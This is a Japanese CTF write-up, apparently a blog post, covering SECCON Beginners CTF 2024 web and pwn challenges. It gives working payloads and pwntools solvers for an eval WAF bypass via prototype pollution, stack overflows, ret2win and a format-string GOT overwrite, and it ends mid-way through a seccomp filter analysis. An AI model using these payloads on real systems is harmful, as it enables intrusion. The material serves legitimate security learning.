double-leaks-mongodb-1 | {"t":{"$date":"2024-06-19T13:09:44.048+00:00"},"s":"E", "c":"WT", "id":22435, "ctx":"initandlisten","msg":"WiredTiger error message","attr":{"error":1,"message":{"ts_sec":1718802584,"ts_usec":48018,"thread":"1:0x7f7f0fa6fc80","session_name":"connection","category":"WT_VERB_DEFAULT","category_id":9,"verbose_level":"ERROR","verbose_level_id":-3,"msg":"__posix_open_file:815:/data/db/WiredTiger.wt: handle-open: open","error_str":"Operation not permitted","error_code":1}}} (略) double-leaks-backend-1 | pymongo.errors.ServerSelectionTimeoutError: mongodb:27017: timed out (configured timeouts: socketTimeoutMS: 20000.0ms, connectTimeoutMS: 20000.0ms), Timeout: 30s, Topology Description: <TopologyDescription id: 6672d8974eb426750bf358ff, topology_type: Unknown, servers: [<ServerDescription ('mongodb', 27017) server_type: Unknown, rtt: None, error=NetworkTimeout('mongodb:27017: timed out (configured timeouts: socketTimeoutMS: 20000.0ms, connectTimeoutMS: 20000.0ms)')>]>
そのためこの問題では、最初から問題文URLに対して実験等を行いました。
[web, medium] flagAlias (29 teams solved, 174 points)
以下のコマンドを実行して、問題サーバのURLを取得してください。 nc flagalias.beginners.seccon.games 5000 実行するとhashcash -mb26 <RANDOM ID>とhashcash token:という表示が出ます。<RANDOM ID>の部分は毎回変わります。 hashcashコマンドを使用してhashcash -mb26 <RANDOM ID>を実行し、hashcash token:の部分に入力してください。すると、問題サーバのURLと認証情報が表示されます。
悩んだ問題の1つです。配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./app/deno.jsonc: ASCII text ./app/Dockerfile: ASCII text ./app/flag.ts: JavaScript source, ASCII text ./app/main.ts: JavaScript source, ASCII text ./docker-compose.yaml: ASCII text ./nginx/Dockerfile: ASCII text ./nginx/html/index.html: HTML document, ASCII text ./nginx/nginx.conf: ASCII text $
続いて各種ファイルを確認すると、 app/Dofilerfile
で Deno
というものを使って main.ts
を実行しているようでした:
(前略) CMD ["deno", "task", "run"]
Denoが初耳だったので調べてみると、 Deno, the next-generation JavaScript runtime というもので、サーバー側でJavaScript/TypeScriptを実行できるものらしいです。Node.jsのようなものだと思います。
なお、 app/flag.txt
内容が、関数名すら編集された状態でした:
export function **FUNC_NAME_IS_REDACTED_PLEASE_RENAME_TO_RUN**() { // **REDACTED** return "**REDACTED**"; } export function getFakeFlag() { return "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}"; }
とりあえず適当な関数名に変更して docker compose up
すると正常にコンテナが起動したので、動作検証はローカルで行いました。
また、今となっては信じられないことなのですが、 app/deno.jsonc
の存在に全く気付いていませんでした。そのファイルはDenoで有効にする権限等を指定する重要なファイルとのことです。次の内容でした:
{ "tasks": { // DO NOT USE --allow-read flag "run": "DENO_NO_PROMPT=1 deno run --allow-sys --allow-net --allow-env main.ts" } }
さて、それでサーバー本体の app/main.ts
は次の内容でした:
import * as flag from "./flag.ts"; function waf(key: string) { // Wonderful WAF :) const ngWords = [ "eval", "Object", "proto", "require", "Deno", "flag", "ctf4b", "http", ]; for (const word of ngWords) { if (key.includes(word)) { return "'NG word detected'"; } } return key; } export async function chall(alias = "`real fl${'a'.repeat(10)}g`") { const m: { [key: string]: string } = { "wonderful flag": "fake{wonderful_fake_flag}", "special flag": "fake{special_fake_flag}", }; try { // you can set the flag alias as the key const key = await eval(waf(alias)); m[key] = flag.getFakeFlag(); return JSON.stringify(Object.entries(m), null, 2); } catch (e) { return e.toString(); } } const handler = async (request: Request): Promise<Response> => { try { const body = JSON.parse(await request.text()); const alias = body?.alias; return new Response(await chall(alias), { status: 200 }); } catch (_) { return new Response('{"error": "Internal Server Error"}', { status: 500 }); } }; if(Deno.version.deno !== "1.42.0"){ console.log("Please use deno 1.42.0"); Deno.exit(1); } const port = Number(Deno.env.get("PORT")) || 3000; Deno.serve({ port }, handler);
ユーザー入力を eval
してその結果を出力に含みますが、 waf
関数にある拒否リストの単語む場合は 'NG word detected'
へ置き換えられます。どうにかして flag.ts
の関数一覧を取得して、かつ取得した関数を実行する必要がありそうです。
ユーザー入力を元に文字列操作をして、その結果をさらにTypeScriptとして評価する方法があれば、 waf
関数 の検閲を回避しやすいです。 eval
関数そのものは waf
関数の拒否リストに入っているので代わりの方法を探しました。eval() - JavaScript | MDNを見ると Using the Function() constructor
という節がありました。 Function
は waf
関数の拒否リストに入っていないため、活用できそうです。試しにユーザー入力として Function("return 3*3")()
を与えると 9
が表示されました。うまくいっています!
ここからしばらくの試行錯誤過程です:
Function("import * as fl"+"ag from \"./fl"+"ag.ts\"")()
とimport * as flag from "flag.ts"
を試しましたがSyntaxError: Cannot use import statement outside a module
エラーでした。Functionコンストラクターの内容は関数bodyに記述することと同等らしいので、構文上の制限があるようです。この時点でimport
系統を使う方式は諦めました。Function("return typeof(this);")()
で、実行されるコンテキストでのthis
を調べるとobject
でした。Function("return Obj"+"ect.keys(this)")()
でthis
のメンバーを探すと、Deno
がありました。Function("return this.De"+"no.readTextFile(\"fl"+"ag.ts\")")()
とDeno.ReadFile("flag.ts")
を使ったflag.ts
読み込みを試しましたがPermissionDenied: Requires read access to "flag.ts", run again with the --allow-read flag
エラーになりました。deno.jsonc
に--allow-read
フラグが無いためです。Function("return Obj"+"ect.getOwnPropertyNames(this.De"+"no.run({cmd: ['whoami']}))")()
とDeno.run({cmd: ['whoami']})
のサブコマンド実行を試しましたがPermissionDenied: Requires run access to "whoami", run again with the --allow-run flag
エラーとなりました。Function("return Obj"+"ect.keys(this.De"+"no.mainModule)")()
とDeno.mainModule
へアクセスしようとしましたが、これまたPermissionDenied: Requires read access to <main_module>, run again with the --allow-read flag
エラーとなりました。Function("return Obj"+"ect.getOwnPropertyNames(this.De"+"no.env.toObj"+"ect())")()
とDeno.env
メンバーを確認しましたが、あまり面白いものはなさそうでした。このあたりで、ただオブジェクトを探索するだけでは何も見つからない予感がしてきました。Function("obj", "return Obj"+"ect.getOwnPropertyNames(obj)")(chall)
とchall
関数経由で何かあるか探しましたが、length,name
だけのようでした。flag
モジュールへどうにかアクセスしたいですが、それはwaf
関数に検閲される文字列です。- 最終的に
Function("String.pro"+"totype.includes = function(){return false;}; return 'hacked'")()
でPrototype Pollutionすることでwaf
関数のkey.includes(word)
判定を無力化させてから、Object.getOwnPropertyNames(flag)
するとflag
モジュールに含まれる関数名の一覧が得られることが分かりました。
後は問題文記載のコマンドを実行して、実際に試すことにしました:
$ nc flagalias.beginners.seccon.games 5000 .::.::.::. ::^^:^^:^^:: >> Cake Chef << ':'':'':'':' _i__i__i__i_ CTF (____________) Instance |#o##o##o##o#| Generator (____________) We will create a new server for you. Please test your exploit locally. hashcash -mb26 bLI1vEWFiM hashcash token: 1:26:240615:bli1vewfim::5sBDEBNYCk6PLnzU:0000009IDS7 [+] Correct Your server: https://flagalias.beginners.seccon.games:48469/ Username for basic auth: guest Password for basic auth: fh2NTYWr7FbV9OoZ Timeout: 600sec It may take less than a minute to start a new instance. Please be patient. You can close this connection now.
表示されたサーバーに、表示された認証情報でログインすると、ローカル確認時と同様のWebページが表示されました。 Function("String.pro"+"totype.includes = function(){return false;}; return 'hacked'")()
からの Object.getOwnPropertyNames(flag)
を実行しました:
[ [ "wonderful flag", "fake{wonderful_fake_flag}" ], [ "special flag", "fake{special_fake_flag}" ], [ "getFakeFlag,getRealFlag_yUC2BwCtXEkg", "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}" ] ]
見つかった flag.getRealFlag_yUC2BwCtXEkg()
関数を実行しました:
[ 中略 [ "fake{The flag is commented one line above here!}", "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}" ] ]
まさかのfakeが表示されたことに驚きました。とはいえ試行錯誤の段階で、関数そのものを文字列化すると関数定義全体が得られることに気付いていたので、 String(flag.getRealFlag_yUC2BwCtXEkg)
を実行しました:
[ 中略 [ "function getRealFlag_yUC2BwCtXEkg() {\n // Great! You found the flag!\n // ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}\n return \"fake{The flag is commented one line above here!}\";\n}", "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}" ] ]
フラグを入手できました: ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}
Prototype Pollutionの影響範囲を理解していなかったため、その解法を思いつくまでに時間がかかってしまいました。ただし作問者様の解説記事 SECCON Beginners CTF 2024 (ctf4b) 作問者writeup [getRank] [flagAlias] #Security - Qiita によると、await import("./fl"+"ag.ts")
の動的インポートを使う方法が想定解法だったとのことです。
[pwnable, beginner] simpleoverflow (683 teams solved, 50 points)
Cでは、0がFalse、それ以外がTrueとして扱われます。 nc simpleoverflow.beginners.seccon.games 9000
配布ファイルとして、問題本体のchall
と、元ソースのsrc.c
などがありました:
$ file * Dockerfile: ASCII text chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=abff9a2f7446757a9c400278aa319a489f0c7ee4, for GNU/Linux 3.2.0, not stripped compose.yml: ASCII text src.c: C source, ASCII text $
src.c
は次の内容でした:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { char buf[10] = {0}; int is_admin = 0; printf("name:"); read(0, buf, 0x10); printf("Hello, %s\n", buf); if (!is_admin) { puts("You are not admin. bye"); } else { system("/bin/cat ./flag.txt"); } return 0; } __attribute__((constructor)) void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(120); }
init
関数の内容は、標準湧出力のバッファリングを無効化していることと、実行から120秒経過後に SIGALRM
で自身のプロセスを終了させることを行っています。また __attribute__((constructor))
属性が付与されているため、 main
関数よりも前に、自動的に実行されます。
main
関数の内容は、10バイト長の char buf[10]
変数に対して、 read
関数で 0x10 == 16
バイトだけ読み込もうとしています。つまりスタックバッファオーバーフローが発生するため、 buf
変数直後のスタック領域を改ざんできます。
IDAで chall
バイナリを開いて、逆アセンブル画面の IDA View-A
タブで main
関数に移動してからF5キーを押して逆コンパイル結果の Pseudocode-A
タブを表示します。もとの src.c
のように変数へ型を付けると、次のようになります:
int __fastcall main(int argc, const char **argv, const char **envp) { char buf[10]; // [rsp+2h] [rbp-Eh] BYREF int is_admin; // [rsp+Ch] [rbp-4h] memset(buf, 0, sizeof(buf)); is_admin = 0; printf("name:"); read(0, buf, 0x10uLL); printf("Hello, %s\n", buf); if ( is_admin ) system("/bin/cat ./flag.txt"); else puts("You are not admin. bye"); return 0; }
この状態で buf
箇所をダブルクリックすると、 Stack of main
タブが表示されます:
-000000000000000E buf db 10 dup(?) -0000000000000004 is_admin dd ?
この内容から、 buf
変数の直後に is_admin
変数が存在することが分かります。そのため buf
変数のスタックバッファオーバーフローによって is_admin
変数の内容を改ざんできます。11バイト以上の適当な入力を送信することで is_admin
変数の内容を非0に改ざんできれば、フラグが表示できることが分かります。
A
16文字を送信することで is_admin
の内容を 0x41 (='A'のASCIIコード値)
へ改ざんします:
$ nc simpleoverflow.beginners.seccon.games 9000 name:AAAAAAAAAAA Hello, AAAAAAAAAAA ctf4b{0n_y0ur_m4rk} $
フラグを入手できました: ctf4b{0n_y0ur_m4rk}
[pwnable, easy] simpleoverwrite (280 teams solved, 66 points)
スタックとリターンアドレスを確認しましょう nc simpleoverwrite.beginners.seccon.games 9001
配布ファイルとして、問題本体のchall
と、元ソースのsrc.c
などがありました:
$ file * Dockerfile: ASCII text chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=275410f599d2a70ee1160130ddf95968e4fd690f, for GNU/Linux 3.2.0, not stripped compose.yml: ASCII text src.c: C source, ASCII text $ pwn checksec chall [!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV' [*] '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2024/simpleoverwrite/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) $
pwntoolsをインストールするとついてくる pwn checksecコマンド を使うと、ELFバイナリのセキュリティ属性を簡単に確認できて便利です。本問題の chall
の場合は、 No canary found
であるためスタックバッファオーバーフローによる戻りアドレス改ざんを検知する機構が無いこと、 No PIE
であるため chall
バイナリがメモリへ読み込まれる位置が固定であることが分かります。
src.c
は次の内容でした:
#include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> void win() { char buf[100]; FILE *f = fopen("./flag.txt", "r"); fgets(buf, 100, f); puts(buf); } int main() { char buf[10] = {0}; printf("input:"); read(0, buf, 0x20); printf("Hello, %s\n", buf); printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18)); return 0; } __attribute__((constructor)) void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(120); }
win
関数を実行させられたらフラグを得られますが、 init
関数や main
関数では win
関数を呼び出していません。そのためなんとかして win
関数へ制御を移す必要があります。
10バイト長の char buf[10]
変数に対して、 read
関数で 0x20 == 32
バイトだけ読み込もうとしています。つまりスタックバッファオーバーフローが発生するため、 buf
変数直後のスタック領域を改ざんできます。また、 read
関数では 0x00
のNUL文字や 0x0a
の改行文字(LF, "\n"
)含めて、あらゆる文字を書き込めます。
IDAで chall
バイナリを開いて、逆アセンブル画面の IDA View-A
タブで main
関数に移動してからF5キーを押して逆コンパイル結果の Pseudocode-A
タブを表示します。もとの src.c
のように変数へ型を付けて、 Stack of main
を確認します
-0000000000000010 ; D/A/* : change type (data/ascii/array) -0000000000000010 ; N : rename -0000000000000010 ; U : undefine -0000000000000010 ; Use data definition commands to create local variables and function arguments. -0000000000000010 ; Two special fields " r" and " s" represent return address and saved registers. -0000000000000010 ; Frame size: 10; Saved regs: 8; Purge: 0 -0000000000000010 ; -0000000000000010 -0000000000000010 db ? ; undefined -000000000000000F db ? ; undefined -000000000000000E db ? ; undefined -000000000000000D db ? ; undefined -000000000000000C db ? ; undefined -000000000000000B db ? ; undefined -000000000000000A buf db 10 dup(?) +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?) +0000000000000010 +0000000000000010 ; end of stack variables
buf
変数 0x0a == 10
バイトのあとには、 s
が8バイト、 r
が8バイト続くことが分かります。上のコメントにある通り、s
はsaved register(実質 rbp
レジスタの値)、r
は戻りアドレスを表します。つまり r
の領域を win
関数のアドレスへ改ざんしてやれば、main
関数からreturnするときに win
関数を実行できます。
win
関数のアドレスは、IDAの逆アセンブル画面で調べるのが簡単だと私は思います:
.text:0000000000401186 ; Attributes: bp-based frame .text:0000000000401186 .text:0000000000401186 ; int win() .text:0000000000401186 public win .text:0000000000401186 win proc near .text:0000000000401186 .text:0000000000401186 s= byte ptr -70h .text:0000000000401186 stream= qword ptr -8 .text:0000000000401186 .text:0000000000401186 ; __unwind { .text:0000000000401186 push rbp .text:0000000000401187 mov rbp, rsp (後略)
この表示から、 win
関数は 0x401186
に存在することが分かります。前述した通り No PIE
のELFバイナリであるため、アドレスは固定です。
pwntoos
に存在するprocess型を使うとローカルプロセスを起動しつつ、remote型を使うとサーバーと接続しつつ、同一のインターフェースで送受信できて非常に便利です。書いたソルバーです:
#!/usr/bin/env python3 import pwn BIN_NAME = "./chall" pwn.context.binary = BIN_NAME def solve(io): addr_win = 0x401186 payload = pwn.flat([ b"A" * (10 + 8), pwn.pack(addr_win), ]) io.sendlineafter(b"input:", payload) io.recvline_contains(b"return to: ") print(io.recvall()) pass # with pwn.process("./chall") as io: solve(io) with pwn.remote("simpleoverwrite.beginners.seccon.games", 9001) as io: solve(io)
実行しました:
$ ./solve.py [!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV' [*] '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2024/simpleoverwrite/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to simpleoverwrite.beginners.seccon.games on port 9001: Done [+] Receiving all data: Done (22B) [*] Closed connection to simpleoverwrite.beginners.seccon.games port 9001 b'ctf4b{B3l13v3_4g41n}\n\n' $
フラグを入手できました: ctf4b{B3l13v3_4g41n}
[pwnable, easy] pure-and-easy (85 teams solved, 108 points)
nc pure-and-easy.beginners.seccon.games 9000
問題文は nc
コマンドの接続先のみです。配布ファイルとして、問題本体のchall
と、元ソースのsrc.c
などがありました:
$ file * Dockerfile: ASCII text chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7038683f1853c9c942979618dd84970424e58b63, for GNU/Linux 3.2.0, not stripped compose.yml: ASCII text src.c: C source, ASCII text $ pwn checksec chall [!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV' [*] '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2024/pure-and-easy/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) $
pwn checksec
コマンドの結果を見ると、 Partial RELRO
であるため GOT
領域を実行時に書き換えられること、 No PIE
であるため chall
バイナリがメモリへ読み込まれる位置が固定であることが分かります。
src.c
は次の内容でした:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { char buf[0x100] = {0}; printf("> "); read(0, buf, 0xff); printf(buf); exit(0); } void win() { char buf[0x50]; FILE *fp = fopen("./flag.txt", "r"); fgets(buf, 0x50, fp); puts(buf); } __attribute__((constructor)) void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(120); }
この問題でも win
関数を実行させられたらフラグを得られますが、 init
関数や main
関数では win
関数を呼び出していません。そのためなんとかして win
関数へ制御を移す必要があります。
ここで、ユーザー入力値を受けるバッファ buf
を、 printf
関数の第1引数に渡していることに着目します。 printf
関数の第1引数は書式文字列であり、悪意あるユーザー入力を与えるとメモリ書き込みやメモリ読み込みができます。このような脆弱性をFormat String Bug(略称FSB)と呼びます。
なお、Linuxが準拠しているPOSIXでは、 %1$p
等の引数位置を指定した書式文字列を使えます。 fprintf などのドキュメントで "%n$" form
として言及されています。C言語の標準仕様にはありません(printf, fprintf, sprintf, snprintf, printf_s, fprintf_s, sprintf_s, snprintf_s - cppreference.com)。
pwntools
のpwnlib.fmtstr関数を使うと、FSB用の文字列を簡単に構築できて便利です。ただし「ユーザー入力が何番目の引数として登場するか」は事前に調べておく必要があります。調べました:
$ ./chall > %5$paaaa 0x7fca3a5ee380aaaa $ ./chall > %6$paaaa 0x6161616170243625aaaa $
第6引数にユーザー入力が現れていることが分かります。そのため fmtstr_payload
関数の第1引数 offset
へは 6
を指定します。
さて、FSBを使うと任意アドレスへ任意内容を書き込めます。今回は、 main
関数の最後で呼び出している exit
関数の呼び出し先を win
関数へ改ざんすることにします。この方法は、 問題バイナリの GOT
セクションにある exit
用の関数ポインターアドレスを改ざんすることで実現できます。各種アドレスの調査には、 pwntools
のELF型を使うと便利です。書いたソルバーです:
#!/usr/bin/env python3 import pwn BIN_NAME = "./chall" pwn.context.binary = BIN_NAME # pwn.context.log_level = "DEBUG" def solve(io): elf = pwn.ELF(BIN_NAME) got_exit = elf.got["exit"] addr_win = elf.symbols["win"] print(f"{got_exit = :08x}") print(f"{addr_win = :08x}") # 「%6$paaaa」で「0x6161616170243625aaaa」と出てきたので6 payload = pwn.fmtstr_payload(6, {got_exit: addr_win}) print(f"{payload = }") io.sendlineafter(b"> ", payload) print(io.recvall()) # with pwn.process(BIN_NAME) as io: solve(io) with pwn.remote("pure-and-easy.beginners.seccon.games", 9000) as io: solve(io) # COMMAND = """ # b *0x40133C # continue # """ # with pwn.gdb.debug(BIN_NAME, COMMAND) as io: solve(io)
実行しました:
$ ./solve.py [!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV' [*] '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2024/pure-and-easy/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to pure-and-easy.beginners.seccon.games on port 9000: Done [!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV' got_exit = 00404040 addr_win = 00401341 payload = b'%65c%11$lln%210c%12$hhn%45c%13$hhnaaaaba@@@\x00\x00\x00\x00\x00A@@\x00\x00\x00\x00\x00B@@\x00\x00\x00\x00\x00' [+] Receiving all data: Done (381B) [*] Closed connection to pure-and-easy.beginners.seccon.games port 9000 b' \x90 \xff aaaaaba@@@ctf4b{Y0u_R34lly_G0T_M3}\n\nctf4b{Y0u_R34lly_G0T_M3}\n\n' $
フラグを入手できました: ctf4b{Y0u_R34lly_G0T_M3}
[pwnable, medium] gachi-rop (34 teams solved, 162 points)
そろそろOne Gadgetにも飽きてきた?ガチROPの世界へようこそ! nc gachi-rop.beginners.seccon.games 4567
悩んだ問題の1つです。問題本体のgachi-rop
と、実行環境用のlibcライブラリlibc.so.6
などがありました:
$ file * Dockerfile: ASCII text compose.yml: ASCII text flag.txt: ASCII text, with no line terminators gachi-rop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=544bc7e10b49d189daa8d60d3d57a8f8416fc037, for GNU/Linux 3.2.0, not stripped libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=962015aa9d133c6cbcfb31ec300596d7f44d3348, for GNU/Linux 3.2.0, stripped $ pwn checksec gachi-rop [!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV' [*] '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2024/gachi-rop/gachi-rop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) $
元ソースはありません。
配布バイナリに配布libcを使わせるよう改変
今回の問題のように、バイナリ本体だけではなくlibcバイナリも含まれる場合は、ローカル実行時に配布libcバイナリを使わせられたら、動作確認やデバッグが非常に捗ります。しかし何もしない状態だと、実行環境のシステム中にあるlibcバイナリを使用します:
$ ldd gachi-rop linux-vdso.so.1 (0x00007fff24d9b000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007faf28265000) /lib64/ld-linux-x86-64.so.2 (0x00007faf28487000) $
私の環境の場合は /lib/x86_64-linux-gnu/libc.so.6
を使おうとしていることが分かります。 ./libc.so.6
ではありません。
このような場合、io12/pwninit: pwninit - automate starting binary exploit challengesというツールが便利です。手元環境で未インストールの状態だったので、コンテスト中にインストールしました。
- Rust環境(
cargo
コマンドを実行できる状況)を整備します。 pwntools
と、内部的に使用するpatchelf
のためのパッケージをインストールします。私の環境の場合はsudo apt install autoconf elfutils liblzma-dev libssl-dev
でうまく行ったと思います。- NixOS/patchelf: A small utility to modify the dynamic linker and RPATH of ELF executables を、手順に従ってインストールします。
cargo install pwninit
を実行してpwninit
をインストールします。
pwninit
のインストール成功後、配布バイナリへパッチを当てます
$ pwninit --version pwninit 3.3.1 $ pwninit --bin ./gachi-rop --libc ./libc.so.6 bin: ./gachi-rop libc: ./libc.so.6 ld: ./ld-2.35.so copying ./gachi-rop to ./gachi-rop_patched running patchelf on ./gachi-rop_patched $ ldd gachi-rop_patched linux-vdso.so.1 (0x00007ffe38ddf000) libc.so.6 => ./libc.so.6 (0x00007fdaba96d000) ./ld-2.35.so => /lib64/ld-linux-x86-64.so.2 (0x00007fdabab98000) $
無事に gachi-rop_patched
では ./libc.so.6
を使うようになっていることが分かります。以降、ローカルで実行やデバッグするときは gachi-rop_patched
を使用します。
配布バイナリ読解
IDAで gachi-rop_patched
を開いて逆コンパイルします。 main
関数の内容は次の内容でした:
int __fastcall main(int argc, const char **argv, const char **envp) { char bufSize0x10[16]; // [rsp+0h] [rbp-10h] BYREF install_seccomp(); printf("system@%p\n", &system); memset(bufSize0x10, 0, sizeof(bufSize0x10)); printf("Name: "); gets(bufSize0x10); printf("Hello, gachi-rop-%s!!\n", bufSize0x10); return 0; }
gets
関数を使っているためバッファオーバーフローを起こせることが分かります。pwn checksec
コマンド結果は No canary found
であるため main
関数の戻りアドレス以降を改ざんできて、問題文のとおりにReturn Oriented Programming(略称ROP)ができそうなことが分かります。ここで gets
関数は 0x0a (= "\n")
バイトのみを入力終端として扱い、それ以外はNUL文字含めてあらゆるバイトを受け入れ続ける挙動であることに注意してください。また、system
関数のアドレスが与えられているため、配布ファイルの情報と合わせると libc
中のROPガジェットのアドレス等はすべて分かります。
それとは別に、 main
関数冒頭で install_seccomp
関数を呼び出します。ローカル変数に型付けをした結果は次の内容でした:
void __fastcall install_seccomp() { sock_fprog sockFprog; // [rsp+0h] [rbp-10h] BYREF sockFprog.len = 8; sockFprog.filter = arraySockFilterSize8; if ( prctl(PR_SET_NO_NEW_PRIVS, 1LL, 0LL, 0LL, 0LL) < 0 )// (for example, rendering the set-user-ID and set-group-ID mode bits, and file capabilities non-functional) // 他の引数の意味はよくわからず…… { perror("prctl(PR_SET_NO_NEW_PRIVS)"); exit(2); } if ( prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sockFprog) < 0 ) { perror("prctl(PR_SET_SECCOMP)"); exit(2); } }
はい、関数名のとおりではあるのですが、seccompのフィルターを何か設定しています!
配布バイナリ中のcBPF読解
seccompのフィルター用のグローバル変数の内容は次のものでした:
.data:0000000000404080 ; sock_filter arraySockFilterSize8[8] .data:0000000000404080 arraySockFilterSize8 sock_filter <20h, 0, 0, 4> .data:0000000000404080 ; DATA XREF: install_seccomp+E↑o .data:0000000000404088 sock_filter <15h, 0, 5, 0C000003Eh> .data:0000000000404090 sock_filter <20h, 0, 0, 0> .data:0000000000404098 sock_filter <35h, 3, 0, 40000000h> .data:00000000004040A0 sock_filter <15h, 2, 0, 3Bh> .data:00000000004040A8 sock_filter <15h, 1, 0, 142h> .data:00000000004040B0 sock_filter <6, 0, 0, 7FFF0000h> .data:00000000004040B8 sock_filter <6, 0, 0, 50000h> .data:00000000004040B8 _data ends .data:00000000004040B8 .bss:00000000004040C0 ; ===========================================================================
この内容をなんとかして読解したいです。
最初は、うろ覚えの知識で「最近のフィルタープログラムはeBPFというらしいし、今回のもeBPFなのだろう」と思い込んでいました。色々Google検索して結果、LinuxのBPF : (4) ClangによるeBPFプログラムの作成と,BPF Compiler Collection (BCC) - 睡分不足を見つけてubpf/ubpf/disassembler.py at main · iovisor/ubpfを知りました。ただフィルター用のバイト列をダンプしてディスアセンブルを試しても、次のようにうまくいきませんでした:
unknown mem instruction 0x20 jeq %r0, 0xc000003e, +1280 unknown mem instruction 0x20 jge %r0, 0x40000000, +3 jeq %r0, 0x3b, +2 jeq %r0, 0x142, +1 ja32 %r0, 0x7fff0000, +0 ja32 %r0, 0x50000, +0
しばらく考えたり調べたりするとBPFプログラムの作成方法、BPFの検証器、JITコンパイル機能:Berkeley Packet Filter(BPF)入門(3)(1/3 ページ) - @ITを見つけました。次の記述がありました。
cBPFアーキテクチャについて説明した際はcBPF命令の構造体の名称を「struct cbpf_insn」としましたが、Linuxでは「struct sock_filter」という名称になっています。
今回まさに sock_filter
構造体を扱っています!eBPFではなくcBPFということが分かりました!ただそれはそうとcBPF用のディスアセンブラを探しましたが見つけられませんでした。仕方がないのでデータ構造の定義やビットの意味などを調べまくって、自力でディスアセンブルしました:
#!/usr/bin/env python3 import struct def decode_code(code): # https://github.com/torvalds/linux/blob/44ef20baed8edcb1799bec1e7ad2debbc93eedd8/include/uapi/linux/bpf_common.h#L7 result = "" result += { 0x00: "BPF_LD", 0x01: "BPF_LDX", 0x02: "BPF_ST", 0x03: "BPF_STX", 0x04: "BPF_ALU", 0x05: "BPF_JMP", 0x06: "BPF_RET", 0x07: "BPF_MISC", }[code & 0x07] result += " | " + { 0x00: "BPF_W", 0x08: "BPF_H", 0x10: "BPF_B", }[code & 0x18] result += " | " + { 0x00: "BPF_IMM", 0x20: "BPF_ABS", 0x40: "BPF_IND", 0x60: "BPF_MEM", 0x80: "BPF_LEN", 0xa0: "BPF_MSH", }[code & 0xe0] result += " | " + { 0x00: "BPF_ADD", 0x10: "BPF_SUB", 0x20: "BPF_MUL", 0x30: "BPF_DIV", 0x40: "BPF_OR", 0x50: "BPF_AND", 0x60: "BPF_LSH", 0x70: "BPF_RSH", 0x80: "BPF_NEG", 0x90: "BPF_MOD", 0xa0: "BPF_XOR", 0x00: "BPF_JA", 0x10: "BPF_JEQ", 0x20: "BPF_JGT", 0x30: "BPF_JGE", 0x40: "BPF_JSET", }[code & 0xf0] result += " | " + { 0x00: "BPF_K", 0x08: "BPF_X", }[code & 0x08] return result def disassemble_one_instruction(data): # https://github.com/torvalds/linux/blob/v4.18/include/uapi/linux/filter.h # https://atmarkit.itmedia.co.jp/ait/articles/1812/10/news016.html (code, jt, jf, k) = struct.unpack("<HBBL", data) print(f"{decode_code(code) = }, {jt = :02x}, {jf = :02x}, {k = :08x}") # .data:0000000000404080 data_all = bytes.fromhex("20 00 00 00 04 00 00 00 15 00 00 05 3E 00 00 C0 20 00 00 00 00 00 00 00 35 00 03 00 00 00 00 40 15 00 02 00 3B 00 00 00 15 00 01 00 42 01 00 00 06 00 00 00 00 00 FF 7F 06 00 00 00 00 00 05 00") for i in range(8): disassemble_one_instruction(data_all[i*8: (i+1)*8])
実行しました:
